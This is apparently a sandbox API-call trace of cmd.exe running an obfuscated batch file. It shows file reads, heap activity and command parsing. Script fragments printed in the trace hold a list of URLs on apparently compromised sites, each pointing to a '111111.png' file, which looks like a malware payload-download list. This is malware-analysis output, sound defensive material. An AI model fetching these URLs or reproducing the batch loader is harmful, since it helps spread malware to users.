SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0232.062] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.062] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0232.063] _get_osfhandle (_FileHandle=0) returned 0x4c [0232.063] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0232.063] SetConsoleInputExeNameW () returned 0x1 [0232.063] GetConsoleOutputCP () returned 0x1b5 [0232.063] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0232.064] SetThreadUILanguage (LangId=0x0) returned 0x409 [0232.064] ??_V@YAXPEAX@Z () returned 0x1 [0232.065] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0232.066] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0232.066] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.066] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4444, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x115c [0232.066] GetProcessHeap () returned 0x20b0f920000 [0232.066] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956b50) returned 1 [0232.066] GetProcessHeap () returned 0x20b0f920000 [0232.066] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9255e0) returned 1 [0232.066] GetProcessHeap () returned 0x20b0f920000 [0232.066] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947890) returned 1 [0232.066] GetProcessHeap () returned 0x20b0f920000 [0232.066] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0232.066] GetProcessHeap () returned 0x20b0f920000 [0232.066] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0232.066] GetProcessHeap () returned 0x20b0f920000 [0232.066] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0232.066] GetProcessHeap () returned 0x20b0f920000 [0232.066] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956e20) returned 1 [0232.066] GetProcessHeap () returned 0x20b0f920000 [0232.066] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0232.066] GetProcessHeap () returned 0x20b0f920000 [0232.066] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9476d0) returned 1 [0232.066] GetProcessHeap () returned 0x20b0f920000 [0232.066] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0232.067] GetProcessHeap () returned 0x20b0f920000 [0232.067] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f926ea0) returned 1 [0232.067] GetProcessHeap () returned 0x20b0f920000 [0232.068] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f50) returned 1 [0232.068] GetProcessHeap () returned 0x20b0f920000 [0232.068] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e4d0) returned 1 [0232.068] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.068] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x115c [0232.068] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x659, lpOverlapped=0x0) returned 1 [0232.068] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4453, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1165 [0232.068] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\n Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 9 [0232.068] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.068] GetFileType (hFile=0x9c) returned 0x1 [0232.068] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.068] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1165 [0232.068] GetProcessHeap () returned 0x20b0f920000 [0232.068] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0232.069] GetProcessHeap () returned 0x20b0f920000 [0232.069] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0232.069] _tell (_FileHandle=3) returned 4453 [0232.069] _close (_FileHandle=3) returned 0 [0232.069] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c [0232.069] _open_osfhandle (_OSFileHandle=0x9c, _Flags=8) returned 3 [0232.069] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.069] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4453, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1165 [0232.070] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.070] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1165 [0232.070] ReadFile (in: hFile=0x9c, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x650, lpOverlapped=0x0) returned 1 [0232.070] SetFilePointer (in: hFile=0x9c, lDistanceToMove=4544, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11c0 [0232.070] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\ntp://forum.insteon.com/suowb/111111.png','http://webtest.pp.ua/yksrpucvx/111111.png','http://quoraforum.com/btmlxjxmyxb/111111.png','http://quickinsolutions.com/wfqggeott/111111.png','http://bronco.is/pdniovzkgwwt/111111.png','http://studiomascellaro.it/wnzzsbzbd/111111.png','http://craniotylla.ch/vzufnt/111111.png^\r\n") returned 91 [0232.070] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.070] GetFileType (hFile=0x9c) returned 0x1 [0232.070] _get_osfhandle (_FileHandle=3) returned 0x9c [0232.070] SetFilePointer (in: hFile=0x9c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x11c0 [0232.070] GetProcessHeap () returned 0x20b0f920000 [0232.070] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f94b230 [0232.070] GetProcessHeap () returned 0x20b0f920000 [0232.070] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94b230) returned 1 [0232.071] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0232.071] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0232.071] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0232.071] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0232.071] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0232.071] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0232.071] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0232.071] GetProcessHeap () returned 0x20b0f920000 [0232.071] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92e4d0 [0232.071] GetProcessHeap () returned 0x20b0f920000 [0232.071] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f956f50 [0232.071] GetProcessHeap () returned 0x20b0f920000 [0232.071] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f9259d0 [0232.071] _tell (_FileHandle=3) returned 4544 [0232.071] _close (_FileHandle=3) returned 0 [0232.071] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0232.071] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.071] GetFileType (hFile=0x50) returned 0x2 [0232.071] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.071] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0232.072] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.072] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0232.076] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0232.076] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0232.076] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0232.076] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.076] GetFileType (hFile=0x50) returned 0x2 [0232.076] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.076] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0232.076] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.076] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0232.077] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.077] GetFileType (hFile=0x50) returned 0x2 [0232.077] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.077] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0232.077] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.077] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f956f60*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f956f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0232.078] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 80 [0232.078] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.078] GetFileType (hFile=0x50) returned 0x2 [0232.078] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.078] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0232.078] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.078] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x50, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x50) returned 1 [0232.079] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0232.079] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.079] GetFileType (hFile=0x50) returned 0x2 [0232.079] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0232.081] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0232.083] _get_osfhandle (_FileHandle=1) returned 0x50 [0232.083] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0232.086] malloc (_Size=0xffce) returned 0x20b0fa60940 [0232.087] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0232.088] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0232.088] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0232.088] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0232.088] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0232.088] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0232.088] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0232.088] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0232.088] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0232.088] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0232.088] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0232.088] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0232.088] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0232.088] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0232.088] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0232.088] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0232.088] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0232.088] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0232.088] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0232.088] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0232.088] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0232.088] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0232.088] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0232.088] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0232.088] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0232.088] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0232.088] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0232.088] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0232.088] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0232.088] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0232.088] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0232.088] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0232.088] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0232.088] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0232.088] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0232.088] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0232.089] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0232.089] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0232.089] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0232.089] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0232.089] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0232.089] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0232.089] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0232.089] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0232.089] malloc (_Size=0xffce) returned 0x20b0fa70920 [0232.089] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0232.089] GetProcessHeap () returned 0x20b0f920000 [0232.089] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0232.092] SetErrorMode (uMode=0x0) returned 0x0 [0232.092] SetErrorMode (uMode=0x1) returned 0x0 [0232.092] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0232.092] SetErrorMode (uMode=0x0) returned 0x1 [0232.092] GetProcessHeap () returned 0x20b0f920000 [0232.092] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0232.092] GetProcessHeap () returned 0x20b0f920000 [0232.092] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0232.092] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0232.092] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0232.092] GetProcessHeap () returned 0x20b0f920000 [0232.092] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f9476d0 [0232.092] GetProcessHeap () returned 0x20b0f920000 [0232.092] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92d430 [0232.092] GetProcessHeap () returned 0x20b0f920000 [0232.092] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d430, Size=0x1b6) returned 0x20b0f92d430 [0232.092] GetProcessHeap () returned 0x20b0f920000 [0232.092] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d430) returned 0x1b6 [0232.092] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0232.093] GetProcessHeap () returned 0x20b0f920000 [0232.093] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f9470a0 [0232.093] GetProcessHeap () returned 0x20b0f920000 [0232.093] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9470a0, Size=0x7e) returned 0x20b0f956a30 [0232.093] GetProcessHeap () returned 0x20b0f920000 [0232.093] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956a30) returned 0x7e [0232.093] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.093] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d210 [0232.093] FindClose (in: hFindFile=0x20b0f92d210 | out: hFindFile=0x20b0f92d210) returned 1 [0232.093] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.093] GetLastError () returned 0x2 [0232.093] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.093] GetLastError () returned 0x2 [0232.094] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.094] GetLastError () returned 0x2 [0232.094] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.094] GetLastError () returned 0x2 [0232.094] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.094] GetLastError () returned 0x2 [0232.094] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.094] GetLastError () returned 0x2 [0232.094] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.094] GetLastError () returned 0x2 [0232.094] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.095] GetLastError () returned 0x2 [0232.095] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.095] GetLastError () returned 0x2 [0232.095] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.095] GetLastError () returned 0x2 [0232.095] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.096] GetLastError () returned 0x2 [0232.096] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.096] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.096] GetLastError () returned 0x2 [0232.096] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.096] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92d330 [0232.096] FindClose (in: hFindFile=0x20b0f92d330 | out: hFindFile=0x20b0f92d330) returned 1 [0232.096] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.096] GetLastError () returned 0x2 [0232.096] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.097] GetLastError () returned 0x2 [0232.097] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.097] GetLastError () returned 0x2 [0232.097] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.097] GetLastError () returned 0x2 [0232.097] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.097] GetLastError () returned 0x2 [0232.097] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.097] GetLastError () returned 0x2 [0232.097] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.097] GetLastError () returned 0x2 [0232.098] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.098] GetLastError () returned 0x2 [0232.098] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.098] GetLastError () returned 0x2 [0232.098] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0232.098] GetLastError () returned 0x2 [0232.098] 